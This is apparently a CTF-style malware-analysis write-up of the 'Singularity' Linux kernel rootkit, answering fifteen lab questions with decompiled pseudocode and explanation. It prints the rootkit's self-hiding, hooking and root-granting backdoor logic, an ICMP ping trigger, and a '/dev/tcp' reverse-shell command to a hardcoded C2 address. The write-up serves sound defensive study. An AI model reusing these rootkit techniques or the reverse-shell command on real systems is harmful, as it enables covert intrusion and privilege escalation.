MalOps - Singularity Writeup

Scenario

Our primary web server, critical to our daily operations, has been compromised. Over the past few weeks, our network monitoring tools have been flagging unusual outbound communications to an unknown command-and-control server on an unconventional port. The Digital Forensics and Incident Response (DFIR) team was immediately activated to investigate the anomaly. Initial analysis of the running processes and network connections on the live system revealed nothing out of the ordinary, suggesting a sophisticated attacker attempting to maintain stealth. Suspecting a kernel-level threat, the DFIR team captured a full memory dump of the compromised server for offline analysis. During the memory analysis, the team uncovered traces of a sophisticated Linux rootkit. This rootkit was actively hiding its presence and maintaining persistent access to our server. The DFIR team has successfully recovered the malicious kernel modules from the memory image. As a malware analyst, you have been provided with the recovered malicious modules. Your objective is to perform a thorough analysis of the rootkit and determine its capabilities.

Analysis Process

According to the scenario, we will conduct a kernel-level threat analysis. We receive a file named singularity.ko, so what is this file?

$ file singularity.ko

singularity.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=5f22da56e22ce5aebc0a356347bac40441903c52, with debug_info, not stripped

Note (What is .ko files?)

A .ko file is a Kernel Object – a module file of the Linux kernel. It can be loaded into the kernel while the machine is running to add functionality or drivers.

Task 1: What is the SHA256 hash of the sample?

We can easily find it using the sha256sum command as follows:

$ sha256sum singularity.ko
0b8ecdaccf492000f3143fa209481eb9db8c0a29da2b79ff5b7f6e84bb3ac7c8  singularity.ko

Task 2: What is the name of the primary initialization function called when the module is loaded?

The init function is a function called by the kernel when you load a .ko module using the insmod or modprobe commands. In the functions tab, you can easily see that the init function here is singularity_init().

Alternative name of primary initialization function is init_module.

Task 3: How many distinct feature-initialization functions are called within above mentioned function?

Looking at the pseudocode:

1
int __cdecl singularity_init()
2
{
3
  int v0; // ebx
4
  int v1; // ebx
5
  int v2; // ebx
6
  int v3; // ebx
7
  int v4; // ebx
8
  int v5; // ebx
9
  int v6; // ebx
10
  int v7; // ebx
11
  int v8; // ebx
12
  int v9; // ebx
13
  int v10; // ebx
14
  int v11; // ebx
15
  int v12; // ebx
16
  int v13; // ebx
17

18
  _fentry__();
19
  v0 = reset_tainted_init();
20
  v1 = hiding_open_init() | v0;
21
  v2 = become_root_init() | v1;
22
  v3 = hiding_directory_init() | v2;
23
  v4 = hiding_stat_init() | v3;
24
  v5 = hiding_tcp_init() | v4;
25
  v6 = hooking_insmod_init() | v5;
26
  v7 = clear_taint_dmesg_init() | v6;
27
  v8 = hooks_write_init() | v7;
28
  v9 = hiding_chdir_init() | v8;
29
  v10 = hiding_readlink_init() | v9;
30
  v11 = bpf_hook_init() | v10;
31
  v12 = hiding_icmp_init() | v11;
32
  v13 = trace_pid_init() | v12;
33
  module_hide_current();
34
  return v13;
35
}

We can easily find the answer is 15.

Task 4: The reset_tainted_init function creates a kernel thread for anti-forensics. What is the hardcoded name of this thread?

Looking at the pseudocode of reset_tainted_init function:

1
int __cdecl reset_tainted_init()
2
{
3
  kprobe_opcode_t *addr; // rbx
4
  task_struct *v1; // rax
5
  task_struct *v2; // rbx
6
  int pid; // edi
7

8
  if ( (int)register_kprobe(&probe_lookup) < 0 || (addr = probe_lookup.addr, unregister_kprobe(&probe_lookup), !addr) )
9
  {
10
    taint_mask_ptr = 0LL;
11
    goto LABEL_7;
12
  }
13
  taint_mask_ptr = (unsigned __int64 *)((__int64 (__fastcall *)(const char *))addr)("tainted_mask");
14
  if ( !taint_mask_ptr )
15
  {
16
LABEL_7:
17
    LODWORD(v1) = -14;
18
    return (int)v1;
19
  }
20
  v1 = (task_struct *)kthread_create_on_node(zt_thread, 0LL, 0xFFFFFFFFLL, "zer0t");
21
  v2 = v1;
22
  if ( (unsigned __int64)v1 > 0xFFFFFFFFFFFFF000LL )
23
  {
24
    cleaner_thread = v1;
25
  }
26
  else
27
  {
28
    wake_up_process(v1);
29
    pid = v2->pid;
30
    cleaner_thread = v2;
31
    add_hidden_pid(pid);
32
    LODWORD(v1) = 0;
33
  }
34
  return (int)v1;
35
}

It creates a thread named zer0t to run the zt_thread() function.

1
v1 = kthread_create_on_node(zt_thread, 0LL, 0xFFFFFFFFLL, "zer0t");

If v1 is greater than 0xFFFFFFFFLL (ERR_PTR address range), call wake_up_process() to start the thread. And call add_hidden_pid() to hide that process.

1
if ( (unsigned __int64)v1 > 0xFFFFFFFFFFFFF000LL )
2
{
3
  cleaner_thread = v1;
4
}
5
else
6
{
7
  wake_up_process(v1);
8
  pid = v2->pid;
9
  cleaner_thread = v2;
10
  add_hidden_pid(pid);
11
  return 0;
12
}
13
return (int)v1;

You can read more about the kthread_create_on_node() function here.

Task 5: The add_hidden_pid function has a hardcoded limit. What is the maximum number of PIDs the rootkit can hide?

Looking at the pseudocode of add_hidden_pid() function:

1
void __fastcall add_hidden_pid(int pid)
2
{
3
  int v1; // ecx
4
  __int64 v2; // rsi
5
  int *v3; // rax
6

7
  v1 = hidden_count;
8
  v2 = hidden_count;
9
  if ( hidden_count <= 0 )
10
  {
11
LABEL_7:
12
    hidden_pids[v2] = pid;
13
    hidden_count = v1 + 1;
14
  }
15
  else
16
  {
17
    v2 = hidden_count;
18
    v3 = hidden_pids;
19
    while ( *v3 != pid )
20
    {
21
      if ( ++v3 == &hidden_pids[hidden_count] )
22
      {
23
        if ( hidden_count == 32 )
24
          return;
25
        goto LABEL_7;
26
      }
27
    }
28
  }
29
}

This function adds a PID to hidden_pids if it doesn’t exist, but it doesn’t allow duplicates and the number of PIDs cannot exceed 32.

Task 6: What is the name of the function called last within init_module to hide the rootkit itself?

Looking at the pseudocode of singularity_init() function:

1
int __cdecl singularity_init()
2
{
3
  int v0; // ebx
4
  int v1; // ebx
5
  int v2; // ebx
6
  int v3; // ebx
7
  int v4; // ebx
8
  int v5; // ebx
9
  int v6; // ebx
10
  int v7; // ebx
11
  int v8; // ebx
12
  int v9; // ebx
13
  int v10; // ebx
14
  int v11; // ebx
15
  int v12; // ebx
16
  int v13; // ebx
17

18
  _fentry__();
19
  v0 = reset_tainted_init();
20
  v1 = hiding_open_init() | v0;
21
  v2 = become_root_init() | v1;
22
  v3 = hiding_directory_init() | v2;
23
  v4 = hiding_stat_init() | v3;
24
  v5 = hiding_tcp_init() | v4;
25
  v6 = hooking_insmod_init() | v5;
26
  v7 = clear_taint_dmesg_init() | v6;
27
  v8 = hooks_write_init() | v7;
28
  v9 = hiding_chdir_init() | v8;
29
  v10 = hiding_readlink_init() | v9;
30
  v11 = bpf_hook_init() | v10;
31
  v12 = hiding_icmp_init() | v11;
32
  v13 = trace_pid_init() | v12;
33
  module_hide_current();
34
  return v13;
35
}

module_hide_current() is the function called last within init_module to hide the rootkit itself.

1
void __cdecl module_hide_current()
2
{
3
  kobject *holders_dir; // rdi
4
  list_head *next; // rdx
5
  list_head *prev; // rax
6
  mod_kallsyms *kallsyms; // rax
7

8
  if ( !hider_state.hidden )
9
  {
10
    hider_state.saved_list_pos = _this_module.list.prev;
11
    hider_state.saved_parent = _this_module.mkobj.kobj.parent;
12
    if ( hider_state.saved_parent )
13
    {
14
      kobject_del(&_this_module.mkobj);
15
      holders_dir = _this_module.holders_dir;
16
      _this_module.mkobj.kobj.parent = 0LL;
17
      _this_module.mkobj.kobj.kset = 0LL;
18
      if ( holders_dir )
19
      {
20
        kobject_put();
21
        _this_module.holders_dir = 0LL;
22
      }
23
    }
24
    if ( _this_module.list.next != &_this_module.list )
25
    {
26
      if ( (unsigned __int8)_list_del_entry_valid_or_report(&_this_module.list) )
27
      {
28
        next = _this_module.list.next;
29
        prev = _this_module.list.prev;
30
        next->prev = prev;
31
        prev->next = next;
32
      }
33
      _this_module.list.next = &_this_module.list;
34
      _this_module.list.prev = &_this_module.list;
35
      _this_module.list.next = (list_head *)574043927;
36
      _this_module.list.prev = (list_head *)926365489;
37
    }
38
    kallsyms = _this_module.kallsyms;
39
    _this_module.state = module_state::MODULE_STATE_UNFORMED;
40
    _this_module.sect_attrs = 0LL;
41
    if ( kallsyms )
42
      kallsyms->num_symtab = 0;
43
    hider_state.hidden = 1;
44
  }
45
}

Specifically, it removes itself from the global module list (where lsmod and /proc/modules is based), so it looks like “this module doesn’t exist”. You can read more about this stealth technique here.

Task 7: The TCP port hiding module is initialized. What is the hardcoded port number it is configured to hide (decimal)?

In the functions tab, filter with TCP. You can find the function hooked_tcp4_seq_show().

1
__int64 __fastcall hooked_tcp4_seq_show(seq_file *seq, _DWORD *v)
2
{
3
  int v2; // r12d
4
  __int16 v3; // r14
5
  __int16 v4; // r13
6
  int v5; // r12d
7

8
  if ( v == (_DWORD *)((char *)&_UNIQUE_ID___addressable_trace_pid_cleanup878 + 1) )
9
    return orig_tcp4_seq_show(seq, (char *)&_UNIQUE_ID___addressable_trace_pid_cleanup878 + 1);
10
  v2 = v[198];
11
  v3 = *((_WORD *)v + 6);
12
  v4 = *((_WORD *)v + 399);
13
  if ( v2 == (unsigned int)in_aton("192.168.5.128") )
14
    return 0LL;
15
  v5 = *v;
16
  if ( v5 == (unsigned int)in_aton("192.168.5.128") || v4 == -24250 || v3 == -24250 )
17
    return 0LL;
18
  else
19
    return orig_tcp4_seq_show(seq, v);
20
}

This function is a hook of tcp4_seq_show() – a kernel function used to print each line of the TCP IPv4 connection.

1
if (v2 == in_aton("192.168.5.128")) return 0;
2
if (v5 == in_aton("192.168.5.128") || v4 == -24250 || v3 == -24250) return 0;

The main functions are as follows:

It hides all connections with IP = 192.168.5.128
It also hides any connections with port = -24250, as the corresponding 16-bit 0xA146.

Since this is an ELF file, you need to change the position and convert it to decimal. So the final correct answer is 18081.

Task 8: What is the hardcoded “magic word” string, checked for by the privilege escalation module?

Filtering by the string “MAGIC”, we can find the string “MAGIC=baby elephant”. It is used by the hook_getuid() function as follows:

1
__int64 __fastcall hook_getuid(const pt_regs *regs)
2
{
3
  unsigned __int64 v1; // rbp
4
  __int64 v2; // r12
5
  __int64 v3; // rax
6
  const char *v4; // r13
7
  int v5; // eax
8
  char *v6; // rdx
9
  __int64 v7; // rax
10
  _QWORD *v8; // rax
11

12
  v1 = __readgsqword((unsigned int)&const_pcpu_hot);
13
  if ( !strcmp((const char *)(v1 + 2976), "bash") )
14
  {
15
    v2 = *(_QWORD *)(v1 + 2304);
16
    if ( v2 )
17
    {
18
      if ( *(_QWORD *)(v2 + 384) )
19
      {
20
        if ( *(_QWORD *)(v2 + 392) )
21
        {
22
          v3 = _kmalloc_cache_noprof(kmalloc_caches[12], 2080LL, 4096LL);
23
          v4 = (const char *)v3;
24
          if ( v3 )
25
          {
26
            v5 = access_process_vm(v1, *(_QWORD *)(v2 + 384), v3, 4095LL, 0LL);
27
            if ( v5 > 0 )
28
            {
29
              if ( v5 != 1 )
30
              {
31
                v6 = (char *)v4;
32
                v7 = (__int64)&v4[v5 - 2 + 1];
33
                do
34
                {
35
                  if ( !*v6 )
36
                    *v6 = 32;
37
                  ++v6;
38
                }
39
                while ( v6 != (char *)v7 );
40
              }
41
              if ( strstr(v4, "MAGIC=babyelephant") )
42
              {
43
                v8 = (_QWORD *)prepare_creds();
44
                if ( v8 )
45
                {
46
                  v8[1] = 0LL;
47
                  v8[2] = 0LL;
48
                  v8[3] = 0LL;
49
                  v8[4] = 0LL;
50
                  commit_creds(v8);
51
                }
52
              }
53
            }
54
            kfree(v4);
55
          }
56
        }
57
      }
58
    }
59
  }
60
  return orig_getuid(regs);
61
}

This hook_getuid() section is a privilege escalation backdoor hidden within the syscall getuid() hook. Each time bash calls getuid(), the module secretly checks the process. If it finds the secret string MAGIC=babyelephant, it elevates the process to root (uid/gid = 0). It then returns the normal getuid() result to make it harder to detect.

1
if ( strstr(v4, "MAGIC=babyelephant") )
2
              {
3
                v8 = (_QWORD *)prepare_creds();
4
                if ( v8 )
5
                {
6
                  v8[1] = 0LL;
7
                  v8[2] = 0LL;
8
                  v8[3] = 0LL;
9
                  v8[4] = 0LL;
10
                  commit_creds(v8);
11
                }
12
              }

Note (What is creds?)

creds are a set of permission information for a process. Structure of creds is as follows:

1
struct cred {
2
  /* redacted */
3

4
  kuid_t      uid;    /* real UID of the task */
5
  kgid_t      gid;    /* real GID of the task */
6
  kuid_t      suid;   /* saved UID of the task */
7
  kgid_t      sgid;   /* saved GID of the task */
8
  kuid_t      euid;   /* effective UID of the task */
9
  kgid_t      egid;   /* effective GID of the task */
10
  kuid_t      fsuid;  /* UID for VFS ops */
11
  kgid_t      fdgid;  /* GID for VFS ops */
12

13
  /* redacted */
14
};

prepare_creds() creates a new creds file for safe editing. commit_creds(new) attaches the new creds to the current process.

You can learn more about this technique here.

Task 9: How many hooks, in total, does the become_root_init function install to enable privilege escalation?

In the singularity_init() function, we can see that it calls the become_root_init() function:

1
int __cdecl become_root_init()
2
{
3
  return fh_install_hooks(hooks, 10uLL);
4
}

It calls fh_install_hooks(hooks, 0xAuLL), where the number is 10 hooks.

1
__int64 __fastcall fh_install_hooks(ftrace_hook *hooks, size_t count)
2
{
3
  ftrace_hook *v2; // rbp
4
  __int64 v3; // r12
5
  unsigned int v4; // ebx
6
  ftrace_hook *v5; // rbp
7
  ftrace_hook *v6; // rax
8

9
  if ( !count )
10
    return 0LL;
11
  v2 = hooks;
12
  v3 = 0LL;
13
  while ( 1 )
14
  {
15
    v4 = fh_resolve_hook_address(v2);
16
    if ( v4 )
17
      break;
18
    v4 = fh_install_hook_0(v2);
19
    if ( v4 )
20
      break;
21
    ++v3;
22
    ++v2;
23
    if ( count == v3 )
24
      return 0LL;
25
  }
26
  if ( v3 )
27
  {
28
    v5 = &hooks[v3 - 1];
29
    do
30
    {
31
      fh_remove_hook(v5);
32
      v6 = v5--;
33
    }
34
    while ( v6 != hooks );
35
  }
36
  return v4;
37
}

It performs a loop to install each hook, with each hook consisting of two steps:

fh_resolve_hook_address(): finds the actual address of the kernel function to hook.
fh_install_hook_0(): installs the hook.

If an error occurs, call fh_remove_hook() to remove the installed hooks.

Task 10: What is the hardcoded IPv4 address of the C2 server?

Look in the Strings tab, and you can see an IP address that’s being used.

It is used in two functions: spawn_revshell() and hook_icmp_rcv().

Task 11: What is the hardcoded port number the C2 server listens on?

Looking at the pseudocode of spawn_revshell() function:

1
void __fastcall spawn_revshell(work_struct *work)
2
{
3
  __int64 v2; // rdx
4
  __int64 v3; // rax
5
  int v4; // ebp
6
  int v5; // eax
7
  const char *v6; // rsi
8
  __int64 v7; // rax
9
  __int64 v8; // rdi
10
  __int64 v9; // rdx
11
  __int64 v10; // rbx
12
  __int64 i; // r14
13
  int v12; // r12d
14
  char *argv[5]; // [rsp+0h] [rbp-360h] BYREF
15
  char cmd[768]; // [rsp+28h] [rbp-338h] BYREF
16
  unsigned __int64 v15; // [rsp+328h] [rbp-38h]
17

18
  v15 = __readgsqword(0x28u);
19
  argv[0] = "/usr/bin/setsid";
20
  argv[1] = "/bin/bash";
21
  argv[2] = "-c";
22
  argv[4] = 0LL;
23
  memset(cmd, 0, sizeof(cmd));
24
  snprintf(
25
    cmd,
26
    0x300uLL,
27
    "bash -c 'PID=$$; kill -59 $PID; exec -a \"%s\" /bin/bash &>/dev/tcp/%s/%s 0>&1' &",
28
    "firefox-updater",
29
    "192.168.5.128",
30
    "443");
31
  argv[3] = cmd;
32
  _rcu_read_lock();
33
  v3 = init_task[278];
34
  if ( (_QWORD *)v3 == &init_task[278] )
35
  {
36
    v4 = 0;
37
  }
38
  else
39
  {
40
    v2 = v3 - 2224;
41
    v4 = 0;
42
    do
43
    {
44
      v5 = *(_DWORD *)(v3 + 208);
45
      if ( v4 < v5 )
46
        v4 = v5;
47
      v3 = *(_QWORD *)(v2 + 2224);
48
      v2 = v3 - 2224;
49
    }
50
    while ( (_QWORD *)v3 != &init_task[278] );
51
  }
52
  _rcu_read_unlock(cmd, 768LL, v2);
53
  v6 = (const char *)argv;
54
  v7 = call_usermodehelper_setup(argv[0], argv, envp_0, 3264LL, 0LL, 0LL, 0LL);
55
  if ( v7 )
56
  {
57
    v6 = (_BYTE *)(&_UNIQUE_ID___addressable_trace_pid_cleanup878 + 2);
58
    call_usermodehelper_exec(v7, 2LL);
59
  }
60
  v8 = 1500LL;
61
  msleep(1500LL);
62
  _rcu_read_lock();
63
  v10 = init_task[278];
64
  for ( i = v10 - 2224; (_QWORD *)v10 != &init_task[278]; i = v10 - 2224 )
65
  {
66
    v12 = *(_DWORD *)(v10 + 208);
67
    if ( v12 > v4 )
68
    {
69
      if ( *(_QWORD *)(v10 + 80) )
70
      {
71
        v6 = "firefox-updater";
72
        if ( strstr((const char *)(v10 + 752), "firefox-updater")
73
          || (v6 = "setsid", v8 = v10 + 752, strstr((const char *)(v10 + 752), "setsid")) )
74
        {
75
          add_hidden_pid(v12);
76
          v8 = *(unsigned int *)(v10 + 212);
77
          add_hidden_pid(v8);
78
        }
79
      }
80
    }
81
    v10 = *(_QWORD *)(i + 2224);
82
  }
83
  _rcu_read_unlock(v8, v6, v9);
84
  kfree(work);
85
}

The function creates a reverse shell to 192.168.5.128:443, disguises the process name as firefox-updater, and attempts to detach itself from the terminal using setsid and running in the background.

Task 12: What network protocol is hooked to listen for the backdoor trigger?

By examining the reference graph of the spawn_revshell() function, we see that it is called by the hook_icmp_rcv() function.

Looking at the pseudocode of hook_icmp_rcv() function:

1
__int64 __fastcall hook_icmp_rcv(sk_buff *skb)
2
{
3
  unsigned __int8 *head; // rdx
4
  __int64 network_header; // rax
5
  bool v3; // zf
6
  unsigned __int8 *v4; // rax
7
  unsigned __int8 *v5; // rbp
8
  unsigned __int8 *v7; // r12
9
  _QWORD *v8; // rax
10
  __int64 v9; // rsi
11
  u32 trigger_ip; // [rsp+4h] [rbp-24h] BYREF
12
  unsigned __int64 v11; // [rsp+8h] [rbp-20h]
13

14
  v11 = __readgsqword(0x28u);
15
  trigger_ip = 0;
16
  if ( skb )
17
  {
18
    head = skb->head;
19
    network_header = skb->network_header;
20
    v3 = &head[network_header] == 0LL;
21
    v4 = &head[network_header];
22
    v5 = v4;
23
    if ( !v3 && v4[9] == 1 )
24
    {
25
      v7 = &head[skb->transport_header];
26
      if ( v7 )
27
      {
28
        if ( (unsigned int)in4_pton("192.168.5.128", 0xFFFFFFFFLL, &trigger_ip, 0xFFFFFFFFLL, 0LL) )
29
        {
30
          if ( *((_DWORD *)v5 + 3) == trigger_ip && *v7 == 8 && *((_WORD *)v7 + 3) == 0xCF07 )
31
          {
32
            v8 = (_QWORD *)_kmalloc_cache_noprof(kmalloc_caches[5], 2080LL, 32LL);
33
            if ( v8 )
34
            {
35
              v8[3] = spawn_revshell;
36
              v9 = system_wq;
37
              *v8 = 0xFFFFFFFE00000LL;
38
              v8[1] = v8 + 1;
39
              v8[2] = v8 + 1;
40
              queue_work_on(0x2000LL, v9);
41
            }
42
          }
43
        }
44
      }
45
    }
46
  }
47
  return ((__int64 (__fastcall *)(sk_buff *))orig_icmp_rcv)(skb);
48
}

This is a backdoor trigger via ICMP: when the kernel receives a ping request with source IP = 192.168.5.128 and sequence = 0xCF07, it will schedule spawn_revshell to activate the reverse shell, and then continue processing ICMP as usual to avoid suspicion.

Task 13: What is the “magic” sequence number that triggers the reverse shell (decimal)?

Magic sequence number that triggers the reverse shell is 0xCF07, you need to convert it to decimal. So the final correct answer is 1999.

Task 14: When the trigger conditions are met, what is the name of the function queued to execute the reverse shell?

As we have analyzed in the previous sentences, the correct answer is spawn_revshell().

Task 15: The spawn_revshell function launches a process. What is the hardcoded process name it uses for the reverse shell?

As we have analyzed in the previous sentences, the correct answer is firefox-updater.

Conclusion

The Singularity rootkit is a highly sophisticated Linux kernel-level threat designed for stealth and persistence. Through our analysis, we uncovered:

15 distinct feature-initialization functions working in concert to establish a complete compromise
Anti-forensics mechanisms including kernel thread manipulation and taint flag clearing
Privilege escalation backdoor triggered by the magic string MAGIC=babyelephant in bash processes
Covert C2 communication via ICMP ping packets with a magic sequence number (0xCF07)
Comprehensive process and network hiding capabilities to evade detection

The rootkit demonstrates advanced kernel exploitation techniques, including ftrace hooking, kernel module self-hiding, and sophisticated process memory inspection. This analysis highlights the critical importance of kernel-level security monitoring and the severe risks posed by kernel-mode malware in modern computing environments.